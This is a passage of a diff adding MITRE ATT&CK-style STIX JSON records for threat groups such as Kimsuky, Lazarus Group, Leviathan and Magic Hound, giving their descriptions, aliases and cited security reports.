+ "source_name": "Crowdstrike Indrik November 2018" + }, + { + "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", + "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.", + "source_name": "Crowdstrike EvilCorp March 2021" + }, + { + "url": "https://home.treasury.gov/news/press-releases/sm845", + "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.", + "source_name": "Treasury EvilCorp Dec 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Ke3chang", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)", + "x_mitre_version": "1.4", + "modified": "2021-11-01T21:12:15.839Z", + "aliases": [ + "Ke3chang", + "APT15", + "Mirage", + "Vixen Panda", + "GREF", + "Playful Dragon", + "RoyalAPT" + ], + "created": "2017-05-31T21:31:47.177Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0004", + "external_id": "G0004", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "source_name": "Ke3chang" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "APT15" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "Mirage" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "source_name": "Vixen Panda" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "GREF" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "source_name": "Playful Dragon" + }, + { + "description": "(Citation: APT15 Intezer June 2018)", + "source_name": "RoyalAPT" + }, + { + "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Mandiant Operation Ke3chang November 2014" + }, + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + }, + { + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Kimsuky", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "x_mitre_version": "3.0", + "modified": "2021-10-14T22:35:20.109Z", + "aliases": [ + "Kimsuky", + "STOLEN PENCIL", + "Thallium", + "Black Banshee", + "Velvet Chollima" + ], + "created": "2019-08-26T15:03:02.577Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0094", + "external_id": "G0094", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)", + "source_name": "Kimsuky" + }, + { + "description": "(Citation: Netscout Stolen Pencil Dec 2018)", + "source_name": "STOLEN PENCIL" + }, + { + "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)", + "source_name": "Thallium" + }, + { + "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)", + "source_name": "Black Banshee" + }, + { + "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)", + "source_name": "Velvet Chollima" + }, + { + "url": "https://blog.alyac.co.kr/2234", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019" + }, + { + "url": "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/", + "description": "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.", + "source_name": "BRI Kimsuky April 2019" + }, + { + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.", + "source_name": "Cybereason Kimsuky November 2020" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", + "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", + "source_name": "Malwarebytes Kimsuky June 2021" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", + "source_name": "CISA AA20-301A Kimsuky" + }, + { + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + }, + { + "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf", + "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.", + "source_name": "EST Kimsuky SmokeScreen April 2019" + }, + { + "url": "https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf", + "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.", + "source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019" + }, + { + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013" + }, + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + }, + { + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.", + "source_name": "ThreatConnect Kimsuky September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-10-14T22:04:58.182Z", + "name": "Lazarus Group", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). ", + "created": "2017-05-31T21:32:03.807Z", + "x_mitre_version": "2.0", + "aliases": [ + "Lazarus Group", + "HIDDEN COBRA", + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0032", + "external_id": "G0032", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Novetta Blockbuster)", + "source_name": "Lazarus Group" + }, + { + "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)", + "source_name": "HIDDEN COBRA" + }, + { + "description": "(Citation: US-CERT HIDDEN COBRA June 2017)", + "source_name": "Guardians of Peace" + }, + { + "description": "(Citation: Microsoft ZINC disruption Dec 2017)", + "source_name": "ZINC" + }, + { + "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)", + "source_name": "NICKEL ACADEMY" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "url": "https://home.treasury.gov/news/press-releases/sm774", + "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", + "source_name": "Treasury North Korean Cyber Groups September 2019" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "source_name": "US-CERT HOPLIGHT Apr 2019" + }, + { + "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/", + "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", + "source_name": "Microsoft ZINC disruption Dec 2017" + }, + { + "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing", + "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", + "source_name": "Secureworks NICKEL ACADEMY Dec 2017" + } + ], + "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "type": "intrusion-set" + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Leafminer", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)", + "x_mitre_version": "2.3", + "modified": "2021-10-12T23:23:16.109Z", + "aliases": [ + "Leafminer", + "Raspite" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0077", + "external_id": "G0077", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Leafminer July 2018)", + "source_name": "Leafminer" + }, + { + "description": "(Citation: Dragos Raspite Aug 2018)", + "source_name": "Raspite" + }, + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + }, + { + "source_name": "Dragos Raspite Aug 2018", + "description": "Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.", + "url": "https://www.dragos.com/blog/20180802Raspite.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-10-14T20:34:57.289Z", + "name": "Leviathan", + "x_mitre_version": "3.0", + "created": "2018-04-18T17:59:24.739Z", + "type": "intrusion-set", + "id": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0065", + "external_id": "G0065", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Proofpoint Leviathan Oct 2017)", + "source_name": "Leviathan" + }, + { + "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)", + "source_name": "MUDCARP" + }, + { + "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018)", + "source_name": "Kryptonite Panda" + }, + { + "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020)", + "source_name": "Gadolinium" + }, + { + "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.)", + "source_name": "BRONZE MOHAWK" + }, + { + "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019)", + "source_name": "TEMP.Jumper" + }, + { + "description": "FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)", + "source_name": "APT40" + }, + { + "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)", + "source_name": "TEMP.Periscope" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + }, + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + }, + { + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", + "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.", + "source_name": "Accenture MUDCARP March 2019" + }, + { + "url": "https://www.crowdstrike.com/blog/two-birds-one-stone-panda/", + "description": "Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.", + "source_name": "Crowdstrike KRYPTONITE PANDA August 2018" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", + "description": "Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.", + "source_name": "MSTIC GADOLINIUM September 2020" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "description": "SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.", + "source_name": "SecureWorks BRONZE MOHAWK n.d." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html", + "description": "Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019" + } + ], + "aliases": [ + "Leviathan", + "MUDCARP", + "Kryptonite Panda", + "Gadolinium", + "BRONZE MOHAWK", + "TEMP.Jumper", + "APT40", + "TEMP.Periscope" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Lotus Blossom", + "description": "[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)", + "x_mitre_version": "2.0", + "modified": "2019-03-25T14:17:43.218Z", + "aliases": [ + "Lotus Blossom", + "DRAGONFISH", + "Spring Dragon" + ], + "created": "2017-05-31T21:32:01.092Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0030", + "external_id": "G0030", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "Lotus Blossom" + }, + { + "description": "(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "DRAGONFISH" + }, + { + "description": "(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "Spring Dragon" + }, + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018" + }, + { + "source_name": "Spring Dragon Jun 2015", + "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.", + "url": "https://securelist.com/the-spring-dragon-apt/70726/" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2018-10-17T00:17:13.469Z", + "id": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772", + "created": "2017-05-31T21:32:07.928Z", + "name": "MONSOON", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0042", + "external_id": "G0042", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Machete", + "x_mitre_version": "2.0", + "modified": "2021-10-06T19:26:47.988Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Machete", + "APT-C-43", + "El Machete" + ], + "id": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "description": "[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", + "x_mitre_contributors": [ + "Matias Nicolas Porolli, ESET" + ], + "created": "2019-09-13T12:37:10.394Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0095", + "external_id": "G0095", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(", + "source_name": "Machete" + }, + { + "description": "(Citation: 360 Machete Sep 2020)", + "source_name": "APT-C-43" + }, + { + "description": "(Citation: Cylance Machete Mar 2017)", + "source_name": "El Machete" + }, + { + "source_name": "Cylance Machete Mar 2017", + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + }, + { + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019" + }, + { + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020.", + "source_name": "360 Machete Sep 2020" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2021-10-04T13:12:54.646Z", + "name": "Magic Hound", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "4.0", + "aliases": [ + "Magic Hound", + "TA453", + "COBALT ILLUSION", + "Charming Kitten", + "ITG18", + "Phosphorus", + "Newscaster", + "APT35" + ], + "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Anastasios Pingios", + "Bryan Lee" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0059", + "external_id": "G0059", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 Magic Hound Feb 2017)", + "source_name": "Magic Hound" + }, + { + "description": "(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)", + "source_name": "TA453" + }, + { + "description": "(Citation: Secureworks COBALT ILLUSION Threat Profile)", + "source_name": "COBALT ILLUSION" + }, + { + "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)", + "source_name": "Charming Kitten" + }, + { + "description": "(Citation: IBM ITG18 2020)", + "source_name": "ITG18" + }, + { + "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)", + "source_name": "Phosphorus" + }, + { + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)", + "source_name": "Newscaster" + }, + { + "description": "(Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)", + "source_name": "APT35" + }, + { + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", + "source_name": "ClearSky Kittens Back 3 August 2020" + }, + { + "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/", + "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.", + "source_name": "Certfa Charming Kitten January 2021" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-illusion", + "description": "Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021.", + "source_name": "Secureworks COBALT ILLUSION Threat Profile" + }, + { + "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453", + "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.", + "source_name": "Proofpoint TA453 July2021" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + }, + { + "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential", + "description": "Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.", + "source_name": "Proofpoint TA453 March 2021" + }, + { + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017" + }, + { + "url": "https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering", + "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 